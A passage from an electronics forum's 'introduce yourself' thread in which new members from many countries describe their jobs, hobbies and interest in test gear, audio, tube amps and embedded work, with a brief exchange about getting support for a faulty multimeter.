Post by: Crashpc_CZ on April 20, 2021, 05:22:48 pm
These forums are so global and evil, they make me cry: "There is almost thousand people better than you". That is my dark view on the global world.  :-DD
Anyways, hope you find what you search for.
Title: Re: New Member, Please introduce yourself
Post by: Humanoid on April 23, 2021, 05:42:56 pm
Hello!

I joined a few months back, but just saw this thread.

I'm a musician, artist, writer and all-around creative lunatic. Self-taught for the most part and always was a tinkerer—especially once I started working with audio gear and having to figure out how to connect a bunch of equipment together when the internet was still young.

I did some electronics as a kid, but have no real knowledge or skills to speak of. I finally grabbed some tools last year so I could start making my own audio and video cables, repair my own music gear, and maybe start learning to modify or make small devices. I really wish I would have started making my own cables years ago as it's very easy and the quality is superb compared to most garbage they sell in stores.

I've also started refurbishing some old tools and devices, which is proving to be a lot of fun. I still have a long way to go with learning how all the components work and getting all the tools I need (would kill for a power supply right now), but it definitely is worth the investment and is a great break from the insanity of life which I find very relaxing.

So far I'm enjoying this forum. Lots of info and you guys have been very helpful.

See you around.  :-+
Title: Re: New Member, Please introduce yourself
Post by: 504Mike on April 26, 2021, 01:14:27 pm
Hey, it's Mikhail Stepanov  :)
I am 13 years old, so don't expect many posts from me.  ;D
I joined this website to mostly ask questions and just because there are a lot of interesting discussions here.
That's basically it :D
Title: Re: New Member, Please introduce yourself
Post by: elevendroids on April 26, 2021, 08:37:53 pm
Hello everyone!

I'm Michal, been lurking here for a longer while - had an account under this name since 2017 but it got deleted at some point due to inactivty I guess  ::)

I've been playing with electronics since my early days, got my first soldering iron when I was 9 8) Still got the habit of tearing new "toys" apart to see what's inside ;)
For the last ~16 years I've been working as a software engineer, for the last ~6 trying to stay a bit closer to the "bare-metal".

In the free time I like to play with a bit of everything: coding, PCB design, computer networks, photography and music.
"Sleep is for the weak." :P

Love this forum  :-+
Title: Re: New Member, Please introduce yourself
Post by: tautech on April 26, 2021, 09:03:07 pm
Hello everyone!

I'm Michal, been lurking here for a longer while - had an account under this name since 2017 but it got deleted at some point due to inactivity I guess  ::)
Welcome aboard.

Yes Dave purges zero posters from time to time so for any registered readers on a zero post count it's best you say something.... anything !
Better still be active enough to get to 5 posts and lose Newbie status and gain full PM (Personal Message) rights.
Title: Re: New Member, Please introduce yourself
Post by: nick.theboatman on May 04, 2021, 10:36:33 am
Hello All and thanks for the add...
(repost from something I wrote just now...)
I'm also in sunny England (well hell everything's relative)
In the '70s I was a ardent self-taught hobbyist. I made stuff that sometimes worked. Sometimes it went bang ;) You could do that then lol
In the '80s I did a degree in Electronic Engineering and got a 1st for my practical work (ok so I flunked field theory but whatever. Never did like capacitors..)
In the '90s I ran a telecomms company. We built good shit. Infostrada in Italy (the first internet backbone there) - worked because of our central office boxes. Those light-up bus-stop signs that tell you when the next bus is in? My team and I made the comms network happen. We charged $1000 a light. "You want a box to do what? How much? How many lights...? 6? $6000 a box. Easy )
In the '00s I ran a renewables business. We built wind turbines. Big ones. We got shut down by state-sponsored vested interest. Never mind, moving along...
Now I'm not exactly retired but I'm a volunteer advocate and a boat-builder. I handle 60 cases a year. I spend quite a bit of time in court. As a boat-builder I also make good shit. The good shit also has some electronics in it. At least I don't charge $1000 a light any more and the computers cost £1.
Looking forward to chatting here :)
Title: Re: New Member, Please introduce yourself
Post by: ususos on May 04, 2021, 09:34:33 pm
Hello, name is John. Thick film micro circuitry engineer/ analog and tube (valve) interest.
Title: Re: New Member, Please introduce yourself
Post by: sigma_xi on May 06, 2021, 01:23:03 pm
Hello everyone,

I'm Simon, 25 years old, and I am currently a student at TU Wien, Austria, where I will soon start my doctoral programme on integrated analog circuits/optical receivers.

My main interest are analog circuits, but digital signal processing fascinates me too. In my free time I have been doing smaller PCB projects for the past 10 years, which eventually allowed me to get several internships in the automotive industry (ECUs and headlights) in the past.

Have a nice day!
Title: Re: New Member, Please introduce yourself
Post by: AtomicRob on May 17, 2021, 06:05:08 am
Hello all, I'm Rob. By day I'm a software engineer, been working in the tech industry for about 25 years now, and by night I'm a musician and hobbyist. I enjoy designing and building tube/valve amps and conversions, effect pedals, and mostly analog circuits. Occasionally dabble in microcontrollers - but that sometimes feels a little too much like work! I found the forum while researching new test gear, as I'm looking for a newer/better DMM. Seems like a wide range of topics here, I'm interested to read more and share some thoughts where I can.
Title: Re: New Member, Please introduce yourself
Post by: gasoil on May 18, 2021, 10:17:26 pm
Hello, I'm JF from France.

Always works around electronic workshop as embedded software developper. Thanks to the 1st confinment I've been able to set up a "lab". Thanks to this forum I've heard about the micsig. And now i'm looking for time to play with these...

Currently i'm intersted by audio amp (i'm trying to fix an old trace elliott), audio effects (repairing old pedals, experimenting with op amp)...

Hope to be able to help...
Title: Re: New Member, Please introduce yourself
Post by: LECKO on May 29, 2021, 08:07:31 pm
Been following Dave's Youtube videos for a number of weeks now, great work Dave!!
The names John, I'm a licensed "Ham" call sign is KM6MB.
Got the scope bug, bought seven for parts a couple of years back, a couple for parts to fix a Tek 2465, who's PS released it's magic smoke..
Anyway I was digging through the seven carcasses a few days back, and one was a complete Tek2465 that was labelled "dead", brought it to the office and opened it up, holy Tektronix, it was complete!. Put it on power, yep dead, pulled the P/S and put a known good one in, switched on....WOW!! it worked, tested all channels and a good trace on each!!
Last week I saw an offer I couldn't resist, a Tek 2213 for Bucks plus S/H. It arrived on Thursday last, opened the box up after demolishing the box, boy was it well packed, foam protected. Liberated it from the box and my jaw dropped, looked like it was brand new, not a scratch or ding anywhere, spotless. It was supposed to be an as is for parts!! The guy had even thrown a new power cord in for good measure!
Plugged it in, switched on and IT WORKED, good trace on both channels!!
I'm no electronics tech, although I have plenty of electronics experience, by trade I'm a mining electrician, trained in the UK coal industry, when it existed, during the 1960's, worked in the NSW coal industry for ten years and now retired, whatever that is, here in "Misery" Fun name for Missouri.

I was reading the thread on the Tek 2215 Friday, as it also has a dead P/S, so every contributors input has been helpful to diagnosing it's problem.

I've a load of old tube test gear to recap, when I have time!! I love old gear, but I also have a new Rigol DS1202Z-E I'm still getting my head around... Us oldies need a little longer.. 8)

Look forward to getting to know a few of you.
Title: Re: New Member, Please introduce yourself
Post by: PfannenHans on June 01, 2021, 08:36:54 pm
Hi I am Johannes, 24 years old and currently an electrical engineering student in the last half of my M.Sc. degree.

I have been a long time viewer of Dave's blog and thought it is about time to get on the forum as well.
I have interests in PCB design, embedded software and linux.

Looking forward to read (and hopefully write) interesting forum threads and comments.
Title: Re: New Member, Please introduce yourself
Post by: RJSV on June 25, 2021, 06:59:06 am
Hi everyone, hope you are well. Just found this, but I don't see where new members post, this post is by way of 'reply' (using cellphone/Android).
   Started using EEVBLOG for typical reasons, career growth / exploration. But I also have some wounds to lick, where a commercial tech product line (start-up research) did not 'fly'. That was in an 'EDUCATIONAL' genera, meaning that I might (have had) best results by handing project off (selling after developing).
  Aside from Computer Science Educational, I have interests in general 'pulse operated' low level stuff, such as novel BUS definitions.
   Lately, I enjoy EEVBLOG even more: Especially the coverage on 'AI Accelerator' (See FSD post on Tesla computer, Technical Section)
-- Rick B. in Hayward, CA
Title: Re: New Member, Please introduce yourself
Post by: szszoke on June 25, 2021, 09:41:17 am
Hey!

I'm 26 years old and I'm a self-taught software engineer.

Electronics and music is my hobby but I'm also really into single player games, like the Witcher, Mass Effect, Halo, Tomb Raider.

Electronics is my longest lasting hobby, I had it pretty much since I was a young child. Back then I wanted to become a TV repair-technician.

I also had an on again, off again relationship with it depending on what my day job was and how much time I had left at the end of the day.

In the recent years I moved to Sweden where I was able to make a comfortable life with my software engineering experience while also gaining more.

When the pandemic hit I started to work from home exclusively, which meant a lot more free time at my hands after I was done with work. I didn't have to waste time on commuting anymore.

I started working on a pedal for my guitar pedalboard, which is mostly done!

I also realized that it is time to dust down my math knowledge, take all those snippets of knowledge that I picked up over the years from Dave, w2aew, The Signal Path and forge them into something more coherent.

I picked up the Art of Electronics and Learning the Art of Electronics. Now I'm working through the chapters. (Cue in happy me when I was able to prove the parallel resistance formula from Kirchoff's current law)

I live in the south of Sweden and I do not have friends who are similarly interested in electronics.

Please reach out if you are interested in a buddy that can talk about electronics with you over a beverage (when if is safe again).
Title: Re: New Member, Please introduce yourself
Post by: esepecesito on June 25, 2021, 12:18:55 pm
Hi,

new here... just passing by...
Title: Re: New Member, Please introduce yourself
Post by: Renate on June 25, 2021, 03:25:25 pm
Back then I wanted to become a TV repair-technician.
Some of us are old enough to have been, complete with tube caddy!
Title: Re: New Member, Please introduce yourself
Post by: szszoke on June 25, 2021, 03:32:16 pm
Back then I wanted to become a TV repair-technician.
Some of us are old enough to have been, complete with tube caddy!

In the end I did end up fixing a few TVs at my first job but it was not my main task, and they were usually simple fixes, like replacing bulging capacitors, or replacing the transistor for the flyback transformer.

I haven't worked with tubes though.
Title: Re: New Member, Please introduce yourself
Post by: Jorisbg76 on June 25, 2021, 05:55:42 pm
Hello I am Joris from the Netherlands some call it Holland.
I 'm a medical elektronici engineer, you know reparing CT-scanners, MRI, Echo machines, X-ray machine, operating equpment. All high tech devices
Title: Re: New Member, Please introduce yourself
Post by: Renate on June 25, 2021, 06:03:49 pm
Hello I am Joris from the Netherlands some call it Holland.
I 'm a medical elektronici engineer, you know reparing CT-scanners, MRI, Echo machines, X-ray machine, operating equpment. All high tech devices
I need my head examined. Can you help?
Title: Re: New Member, Please introduce yourself
Post by: Tinynja on June 27, 2021, 11:17:34 pm
Hello there! I'm Amine, from Montreal (Canada), and I do basic electronics work as a hobby. I have many other hobbies, such as bicycle, programming, anything engineering related. I've come here to seek some help with repairing a few devices I have at home, and maybe help other with the limited knowledge I have in this hobby.

Thanks for having me :)
Title: Re: New Member, Please introduce yourself
Post by: antimatter503 on July 01, 2021, 12:24:00 am
Hello everyone,

I am 33 and an Ion Implant Equipment Engineer at a large semi-conductor fab. I keep the implant tools running that make all the chips that nobody can buy right now... The list of orders we have is massive but we are slowly 'chipping' away at it. Long time listener to Dave's channel, thought id become more active here.

Listening to Dave is actually what gave me the courage to apply for an engineering position. I heard a few of his talks about how people should just have more courage and apply there is nothing to lose. I don't have a degree but I have the necessary knowledge and the willingness to work hard and learn. I started at the very bottom just as an operator but I always tried to gather knowledge from the engineers. That really paid off at interview time.

Thanks for allowing me to join in here!

I am happy to try and answer any questions people may have.
Title: Re: New Member, Please introduce yourself
Post by: Just_another_Dave on July 02, 2021, 08:17:42 am
Hi everyone!

I’m David a power electronics engineer from Spain. I’ve been following both Dave’s YouTube channel and this forum for some years, so I finally decided to join this community now that I have finished my M.Sc degree and I have spare time to participate in the forum

I’ve been working as a researcher at one of the laboratories of my university for more than 3 years now (I was lucky enough to get a research grant while I was still a student from a company that builds equipment for space applications), mainly designing power supplies and their cooling systems. However, now I’m starting to experiment with RF in my free time

Looking forward to chatting here!
Title: Re: New Member, Please introduce yourself
Post by: bowen-everitt on July 03, 2021, 06:23:17 pm
Hello Everyone,

My name is Bowen Everitt.
I am a highschool student, and a longtime viewer of the EEVBlog channel but I have never really explored the forums.

Very glad to be here and excited to start making.
Title: Re: New Member, Please introduce yourself
Post by: jdreesen on July 08, 2021, 11:39:47 am
Hi, I am Jos, retired chip designer, now ( and before...)  classic computing enthusiast.
Located in Switzerland
Title: Re: New Member, Please introduce yourself
Post by: armandine2 on July 10, 2021, 08:59:28 pm
Hello

I'm Anthony, new-ish/returning to electronics as a hobby: I did the AEB GCE Electronics Systems A Level as an FE College student in the late 80s - made a reasonable attempt then at project work: following a design for a variable area capacitive displacement transducer in MJ Usher(1985:53) Sensors and Transducers

Nowadays I'm getting equipment and trying to learn/do something, watching Youtube electronics favourites -  new desire to have a dabble with the subject.
Title: Re: New Member, Please introduce yourself
Post by: htm on July 15, 2021, 08:52:05 pm
Hi,

i'm from the Netherlands, java software developer for a living.
Recently i got an arduino uno kit,  for fun, trying to connect a few things.
Hoping that my basic electronics education of about 20 years ago is enough to get going ;)
Title: Re: New Member, Please introduce yourself
Post by: lvml on July 18, 2021, 09:53:59 pm
Having enjoyed Dave's coverage on solar roadways, I just became a member to not let it go unnoticed that yet another one opened -> posted a thread on this here: https://www.eevblog.com/forum/chat/worlds-longest-solar-panel-bike-path-opens-in-utrecht-netherlands/ (https://www.eevblog.com/forum/chat/worlds-longest-solar-panel-bike-path-opens-in-utrecht-netherlands/)
Looking forward to the next video on solar freaking roadways :-)
Title: Re: New Member, Please introduce yourself
Post by: JohnInHK on July 20, 2021, 06:35:04 am
Hello, joining from Hong Kong. Long time fan and viewer of EEVBlog enjoying Dave's unique style and electronics knowledge. Started electronics as a hobby in late 1960's, then became electronics engineer, designing lot's of products in Australia, then joined Motorola Semiconductor (became Freescale Semiconductor now part of NXP) for 20 years, mostly in Hong Kong. Covered many areas and topics globally, mostly management. Then consumer electronics, startup, EMS with China, HK and Oz companies, intellectual property, legal, contract management... and still LOVE electronics... Never stop learning and so much to keep up to date with.
Title: Re: New Member, Please introduce yourself
Post by: WeiZhao on July 30, 2021, 07:25:33 am
Hi, Guys.
My name is Wei, from Shanghai China. Working as a electronic engineer for more than 15 years. 8)
My development area is SMPS especially for lighting.

Actually this forum is quite famous in China. As working so many years in power supply development, I really want to discuss and learn from others globally.

Really appreciated to be a member of this big family. Hope we can make good friends.

Thanks a lot. :)
Title: Re: New Member, Please introduce yourself
Post by: SunRiver on August 04, 2021, 07:50:33 pm
Welcome
I am called SunRiver and I am from Poland.

On a daily basis, I deal with electronics service and programming of embedded devices and IoT ..
Some may know me from other forums ...
Title: Re: New Member, Please introduce yourself
Post by: Ardym on August 08, 2021, 04:21:40 am
Hello EEVBlog forum members,

My name is Ravi and I am an Electronics Engineer working for an electronics startup in New Zealand. I'm actually here to seek help with my faulty BM235 multimeter that I purchased from EEVBlog and haven't been able to get any support for through the official email channels. I wasn't quite sure where to go here to seek help, so figured I'd start here.

Is anyone able to either help me get support from Dave or perhaps send me in the right direction to debug the issues? The multimeter is regularly misreading voltage/resistance/continuity and it seems to at least partially be related to the front selector switch holding the correct stable state.

I've attached an image showing one of the behaviours I regularly see.

Edit: Resolved. Thanks everyone for your help!  :)

Thanks for your time and any help is really appreciated. I often work with 400V appliances and am particularly concerned that the multimeter may misread a live wire, potentially leading to injury.
Title: Re: New Member, Please introduce yourself
Post by: tautech on August 08, 2021, 05:31:06 am
Send a PM to EEVBLOG with your email to tie in with the Report to Moderator 'FYI Dave' I've just done.
Title: Re: New Member, Please introduce yourself
Post by: Halcyon on August 08, 2021, 05:33:18 am
Hi Ravi,

For support relating to EEVblog products, email eevblog.official@gmail.com
Title: Re: New Member, Please introduce yourself
Post by: Ardym on August 08, 2021, 06:57:36 am
Hi Halcyon,

Thanks for your reply. I have sent a couple emails to that address over the last 3 months, but haven't had any response. I've just sent a PM to EEVBLOG also, so hopefully that will lead somewhere.

Really appreciate the prompt responses here.

Cheers
Title: Re: New Member, Please introduce yourself
Post by: EEVblog on August 08, 2021, 10:59:45 am
Replied.
Title: Re: New Member, Please introduce yourself
Post by: Trailing Edge on August 10, 2021, 03:23:25 am
Howdy

I'm an aeronautical/mechanical engineer by day, and in my spare time I build a lot of renewable energy projects.  I've also built a lot of electronic projects from plans until recently I felt comfortable enough to design things of my own.  Mostly these are data-logging devices, based on microcontrollers such as PICAXE and Arduino.  In the course of building these I have spent the most development time on tachometers, which are somewhat devilish in wind turbines, for many reasons.

I already posted an into the Beginners forum - but then found out there's actually a thread just for saying "hello" (Thanks Renate for pointing me in the right direction).

I want to ask a bunch of questions about programming microcontrollers and setting up instruments for them.  I am hoping to find a lot of people who know about instruments and uC's to learn more tricks and techniques.
Title: Re: New Member, Please introduce yourself
Post by: shaohu.tang on August 21, 2021, 02:25:03 am
HI, everyone,

newbie report, now engaged in instrumentation maintenance。
Title: Re: New Member, Please introduce yourself
Post by: shaohu.tang on August 21, 2021, 03:00:24 am
You are very sincere!!!
Title: Re: New Member, Please introduce yourself
Post by: MazeFrame on August 25, 2021, 07:42:46 am
Hello from Germany!
I am working in IT-Administration as a trainee (or is apprenticeship the word?) position. Studied computer science (called "Informatics" here) before, then was dropped out due to my math skills not being up to the job.

Picked up electronics tinkering as a hobby back in school, has since evolved into kind of knowing what I am doing.
I have some experience in setting up studio and PA gear, which combines nicely with electronics in my current project of building a headphone amplifier. No noteworthy breakthroughs there (yet)  :-BROKE
Title: Re: New Member, Please introduce yourself
Post by: mloo55 on August 26, 2021, 07:25:41 pm
hi everybody
My name is Marco, from Lima- Peru, South America, I am an electronic engineer, worked in maintenance aviation, electronics/eletrical repair as long as 40 years. regards for everybody and hope to share information.
thanks
Marco
Title: Re: New Member, Please introduce yourself
Post by: MIKE32096 on September 03, 2021, 01:01:57 pm
Hello from White Spring, FL my name is Mike

A retired computer programmer with a passion for;  Embedded design, Electronics (know enough to dangerous) and Photography.
Also an avid reader, about an even mix of fiction and non-fiction.
Title: Re: New Member, Please introduce yourself
Post by: RetroTechBytes on September 03, 2021, 01:57:41 pm
Hello all from Florida!

My name is Will. I'm currently attending university for my second Bachelor's in Electrical Engineering.

I'm *hopefully* an almost-lawyer (just took the bar), and *hopefully* a soon-to-be Patent Lawyer.

I have a passion for vintage computers and electronics restoration, and I run a YouTube channel on the side, exploring my passions and sharing my love for retrocomputing with all who are interested. I'm also interested in analog photography, although my skills are lacking, I'd love to learn. I play trumpet on the side, and have always enjoyed jazz. I'm also a voracious reader (when I have the time), and would love any recommendations; I'm big on sci-fi, but also enjoy non-fiction and history (which was actually my first degree).

I look forward to learning from you all!
Title: Re: New Member, Please introduce yourself
Post by: charlie.n255 on September 25, 2021, 05:54:38 am
Hi I am Charlie,
I currently work for an IoT company based in NZ. I am starting to do more home projects and am looking forward to learning more about electronics.
Title: Re: New Member, Please introduce yourself
Post by: rarubioc on October 16, 2021, 04:44:30 pm
Hello, rarubioc here.
Electronics engineer from mexico that got sucked into medical equipment. I travel the country repairing tomography and ultrasound machines.
Currently looking into embedded sofware for a possible carreer change, I have a dev. kit from freescale for 8 bit microcontrollers and experience from my bachelor's degree, I hope to start working on personal projects and eventually apply to some company where embedded systems are developed.
Title: Re: New Member, Please introduce yourself
Post by: JimM on November 12, 2021, 07:56:49 pm
Hello, Jim here. I'm a retired Electrical Engineer from Southern California US. In my former life I designed SATCOM modems for the military. Now I mostly hang out in the Thermal Imaging forum.
Title: Re: New Member, Please introduce yourself
Post by: Chernobyl on November 18, 2021, 04:55:39 am
Hello from Canada. Electronics hobbyist for all my life and I'm an electrical engineer in my day job. Slowly building up a collection of test gear - because...hey, I deserve it!
Title: Re: New Member, Please introduce yourself
Post by: Neepa on November 20, 2021, 12:58:57 pm
Hello there,

an apprentice turbojet mechanic by trade dabbling in electronics as a hobby; mostly audio related. Have already swapped couple hundred components out of old amplifiers and did some basic reapairs myself.

First completely self designed work were a pair of non regulated 12V DC supplies as a secondary supply for amplifier relays.

Couldn't withstand spending the money to get to the cheapest high accuracy frequency source by pairing a Siglent SDG2042X with a LeoBodnar Mini GPSDO. Which might already count as TimeNuttery.
Title: Re: New Member, Please introduce yourself
Post by: electronics_rookie on November 28, 2021, 01:25:21 pm
Hi guys,

I'm Kate, second year electrical engineering student and I decided to commit to learning more about applicable stuff. I've decided to go this route of interacting with people who know much more than me and are hopefully willing to deal with my lack of knowledge.

This also helps me practice my English as I don't use it often
Title: Re: New Member, Please introduce yourself
Post by: Xandinator on December 13, 2021, 04:41:51 pm
Hi everybody,
Alex from Austria happily joins the community, following the YouTube channel since the early days and regularly annoyed by the captcha when searching without login - hence highly motivated to contribute :D
Title: Re: New Member, Please introduce yourself
Post by: hw on February 03, 2022, 03:44:55 am
Hi,

Used to do some protocol and firmware reverse engineering but mostly doing software stuff these days.
The Work-from-Home situation has gotten me to buying a few pieces of equipment for use at home and that's how I ended here.


Title: Re: New Member, Please introduce yourself
Post by: AverageJoe on February 03, 2022, 06:17:20 pm
Hi I'm Joe,

I started as a hobbyist many years back when the C64 and CB radio were alle the rage in Germany, today I work as AV systems technican and software developer (AV as in audio/video). Followed EEVBlog for some years and now finally signed up :-)
Title: Re: New Member, Please introduce yourself
Post by: jensenr30 on February 07, 2022, 10:21:29 pm
Hi All,

I'm an electronics enthusiast, electrical engineer, analog electronics & audio synth geek.
Nice to be here with other electrically minded people.

Ryan J
Title: Re: New Member, Please introduce yourself
Post by: barkevko on March 30, 2022, 09:11:05 am
Hi, I'm Kevin,
Been an electronics hobbyist for many years with an accompanying interest in Amateur.  Found this site some time ago when researching a new DSO and decided I should finally introduce myself. 
Title: Re: New Member, Please introduce yourself
Post by: Fatih Aydogan on March 30, 2022, 01:55:41 pm
Hi, I am Fatih,
I'm a second year civil engineering student and live in Europe side of Istanbul. I signed up for this site because of my engineering background and interest in electronics.
Good day to everyone reading this post.
Title: Re: New Member, Please introduce yourself
Post by: Zyeborm on April 17, 2022, 02:06:17 pm
Howdy all,
I've been leaching off the store of knowledge in here for a while. Going to attempt to give something back. Thanks everybody 😊
Title: Re: New Member, Please introduce yourself
Post by: jasonRF on April 28, 2022, 12:40:03 pm
Greetings from New England in the US

I am a casual electronics hobbyist mostly interested in analog audio these days.  For my day job I am an electrical engineer, but not the kind that does electronics.   As a young man I picked EE because I was interested in applied electromagnetics, not electronics, so learned as little about traditional analog/digital electronics as possible.  I'm having fun learning material I either forgot or never learned in the first place. 

Jason 
Title: Re: New Member, Please introduce yourself
Post by: nhzx0110wxd on April 28, 2022, 02:37:24 pm
HI, everyone,

newbie report, now engaged in instrumentation maintenance。
Title: Re: New Member, Please introduce yourself
Post by: RJSV on May 08, 2022, 09:02:30 am
Hello there!
   I'm Rick-Jack, (already been active a while here).  Played guitar, which got me started with (Fender Instruments) TUBE AMPs circuits.
   I didn't know what to think, watching 'The Transistor' gain acceptance, in 1960's.  These days I'm learning to study 'creativity'...that's an elusive talent often discounted!
Title: Re: New Member, Please introduce yourself
Post by: Lucien Nunes on May 09, 2022, 05:53:44 pm
Hi I'm Lucien, London-based electronic engineer building bespoke equipment for the film industry and also at the moment running a mechanical precision engineering shop. Formerly installer of theatre lighting and live sound production engineer.

Collector of all sorts of vintage gear, I have a warehouse full of everything from power-station switchgear to 8-bit micros to London's previous TV transmitter to you-name-it. Now turning into a museum you can visit. More about that later.
Title: Re: New Member, Please introduce yourself
Post by: AndyBeez on May 14, 2022, 08:17:05 pm
Greetings Dave and everyone else here.

My name is Andrew. I'm a coder, hardware hacker and a 100% science-tech geek.

Have a nice day 8)
Title: Re: New Member, Please introduce yourself
Post by: benishor on May 19, 2022, 07:24:28 am
Hello from beautiful Romania! I'm a programmer, electronics hobbyist, radio amateur and lame guitar player.

All the best,
Adrian
Title: Re: New Member, Please introduce yourself
Post by: ThomasL on May 27, 2022, 11:35:58 am
Hello,

Thomas here, just subscribed to share my work on libsigrok.
I studied electronics in high school 15 years ago and kind of gave it up since, being into computer stuff as a Linux systems engineer.
Recently I fell the need to get back to resistors and capacitors and soldering and metering and stuff like that, I don't even know why.

I'm working on getting a little PAL composite signal to XYZ-mode signal for my Tek scope, so I can display my Apple 2 video on it. ;D

See you around here,
-Thomas
Title: Re: New Member, Please introduce yourself
Post by: lxmute on June 04, 2022, 12:06:44 am
Hello,

Alex there, Briton from Bretagne/Brittany. Owned 8bits then 16/32bits mighty Amiga.
I've studied maths and physics at University level long ago gathering some diplomas. Then I switched to computer science.
I'm a Unix developer, sysadmin. I'm fluent in a few languages, C, C#, PERL, PHP, JAVA, playing with sensors and databases. I'm curious about electronics trying to go deeper for quite a few years.
I'm here to request for help about a big electrical problem hammering badly my life atm.
I stay positive.
cheers.

Alex
Title: Re: New Member, Please introduce yourself
Post by: kora on June 04, 2022, 04:18:21 am
I am Sergey, from Ukraine, former Motorola SE (systems engineer) since 1992. Will be happy to help in field of telecom, radio, any trunking systems (SmartZome, Astro, P25 etc.). Skype: kora007 .

//kora
Title: Re: New Member, Please introduce yourself
Post by: ppeatman on June 14, 2022, 08:49:33 am
Hi guys & girls,

I'm Peter (65) from the Netherlands. Long ago, I graduated from the Delft University of Technology in Electrical Engineering. Since then, I mostly worked in telecommunications, software developement, mathematics. Now that I'm getting closer to my retirement, it's time to pick up and refresh my good-old hardware hacking skills :-)
Title: Re: New Member, Please introduce yourself
Post by: TomKatt on June 27, 2022, 04:00:07 pm
Greetings all - I'm Tom from Vermont in the USA.   I do IT for a living and to support my electronics hobby.  Started out with a Radio Shack 100-in-1 kit back in the 70's and have taken apart more gadgets than I have put back together.  I have a perverse kink for clocks of all kinds and equally appreciate all electrons, whether they be electromechanically derived or silicon in a microcontroller.

Long time EEVblog viewer, just signed up to the forum today.   This place looks like it has a LOT of smart folks with good ideas, and I'm eager to learn.

Thanks!
Title: Re: New Member, Please introduce yourself
Post by: dermotkirk7 on July 03, 2022, 12:09:48 am
Hi

I’m Dermot I don’t have any qualifications to list but like to believe I have a strong understanding of electronics mostly in the automotive industry
Title: Re: New Member, Please introduce yourself
Post by: makingdevices on August 02, 2022, 07:10:23 pm
Hello there!

Here Rubén, I am an Electronics & Automation engineer from Spain who also studied a master's programme in Energy in Denmark. On top of that, I am currently an R&D Engineer in the field of EV (More precisely: Off-Board and On-Board chargers for some tier1 automotive brands).

However, my passion is embedded electronics and microcontrollers, which I don't have the luck to work with, so I kinda funded Making Devices, a small blog/IG account to share my personal projects on this topic and grow my knowledge about this field.

Thanks!
Title: Re: New Member, Please introduce yourself
Post by: Fanap on August 23, 2022, 09:24:05 am
Hi Everyone,
Looking for work in electronics field. I hope I can make useful contributions here.
Title: Re: New Member, Please introduce yourself
Post by: Rockwells on August 23, 2022, 04:19:44 pm
Hello
I'm a software engineer who is interested in getting into hardware.
Thanks
Title: Re: New Member, Please introduce yourself
Post by: Keri Szafir on August 23, 2022, 04:53:56 pm
Hello there, kitties - I'm Keri, the vacuum tube witch :)
Doing stuff in my lab, nerding out, being snarky here and there. Not formally an electronic engineer, but I know a thing or two, and got two decades of experience doing the stuff.
I'm way better at hardware than software/firmware.

I'm not that good at introducing myself, so please, bear with me. 36 year old, born and living in Poland, tried to study electronic engineering but failed my maths and physics exams, then graduated chemistry, but have been doing electronics almost all my life. Mostly audio gear repairs, but I can design some cool stuff, like a Monotype composition caster controller based on a Raspberry Pi, or a scalable GoPro Hero3+ synchronized shutter release system, a X-Y scope with a built-in sine wave oscillator and electronic part signature tracer, or an advanced version of a community vacuum tube meter project.

I learned electronics when I was a teen in the '90s, first by playing with my brother's old Soviet "Elektronika" circuit building kit, then by taking apart devices, desoldering them and reusing the parts in projects: multivibrators, power supplies, motor controls etc., all discrete, no ICs let alone microcontrollers. They were too expensive... speaking of which, my budget is tighter than Ethel Granger's laces and I rarely can afford parts I would like to use, that's why I can build a time circuit control chip out of vacuum tubes... Just kidding.

I've always had a knack for analog electronics more than digital, mainly audio and to some extent test gear stuff. I started restoring & modding vintage gear and building vacuum tube amps in early 2000s, inspired by the Fallout video game series and its aesthetic ('50s/'60s Cold War and space era electronics) which vastly influenced the way I build stuff: cable looming, rackmount enclosures, lots of knobs and other controls etc. My favorite technique is point-to-point or tagboards, but I can do PCB if I really need to, and learned SMT pretty recently. Definitely not my favorite to service, it's just too teeny tiny for my shaking hands.

I love doing measurements with vintage gear too (analog scopes, generators, meters etc.) - in fact, I wish I hadn't sold my old ZRK OS102 tube scope that was the first real deal scope in my lab in 2000s. Same with a ZRK M3401SD reel-to-reel tape machine... I needed money though. Capitalism, meh.

Back in 2000s I visited a lot of electronics repair shops, sometimes bought vintage parts, sometimes got some stuff for free (see, it was obsolete to them, taking up space and all that), and I regret not being able to buy as many tubes as I wanted back then when they were relatively cheap. I kept on repairing and building gear, got to know a few guitarists and tinkerers, made amps for them, made amps for myself, took these devices apart and reused the parts in new projects... Life goes on. I volunteered and worked at some places, but nothing beats doing stuff in my own little lab. It's not really a business, my income is way too low to even consider registering as the running costs would eat me right away - I'm abysmal at life management skills, given that I'm on the autism spectrum, probably ADHD as well, overstressed and burnt out, dealing with huge imposter syndrome, got a fair deal of mental health issues with no real access to support systems. Oh, and I'm a trans woman, so more minority stress, yay.

At this point in my life, I live in a relationship of three, it takes pretty much time so I can't devote it all to my work. I'm seeing the pandemic of workaholism all over the world, particularly here in Poland or in the States. It's so toxic... people working their asses off and still not getting anything, let alone becoming wealthy. But I'm not here to rant about poly-ticks (poly being many, and ticks are bloodsucking creatures).

All your vacuum tube amplifier are belong to me :D
Title: Re: New Member, Please introduce yourself
Post by: Apix on September 06, 2022, 07:23:22 am
Hi there! I'm Andrea, I'm an Electronics Engineer from Italy. I'm 32 years old. I've been an hardware engineer for 5 years and 2 years as a firmware engineer, that's what I do at the moment.
I really like working on some projects of mine as an hobbyist.
Title: Re: New Member, Please introduce yourself
Post by: AzGuy on September 10, 2022, 09:57:36 pm
Hi everyone! Greetings from sunny/hot Arizona-USA. I just joined.
I've been in the electronics-based industry for many years. Previous Motorola/Freescale employee. Doing IC Layout since 2006. Bench tech. for a few years. Kinda edged into semi-retirement when the company sold. Right now I have the most important job of my life: taking care of my wife.
I enjoy fixing things. I don't care what it is, I'll make a valiant effort to fix it. This is 1 reason why I'm here. On occasion, one needs help, advice, a schematic, etc.
I'm looking forward to exciting future reads and helpful information.
Title: Re: New Member, Please introduce yourself
Post by: NiallDarwin on November 10, 2022, 11:21:18 pm
Niall in New Zealand here. Long time lurker, first time poster.

I'm a Professional Mechanical Engineer with experience from steelworks to sports cars but mainly I was a designer of machines to make semi conductors, specifically LED & LASER stuff. I'm now trying to get into the power industry with my startup 'The Infinite Monkey Lab'. http://timl.me (http://timl.me)

Believer in Open Source, right to repair and general empowerment of the individual to make a stronger society.
Title: Re: New Member, Please introduce yourself
Post by: robinhp1 on November 12, 2022, 04:10:58 pm
Hi, I'm Robin, a retired Electronic Design Engineer and classic car enthusiast. I enjoy tinkering with gadgets, 3D printing, keeping stuff working as designed, and trying to grow stuff in the garden :)
Title: Re: New Member, Please introduce yourself
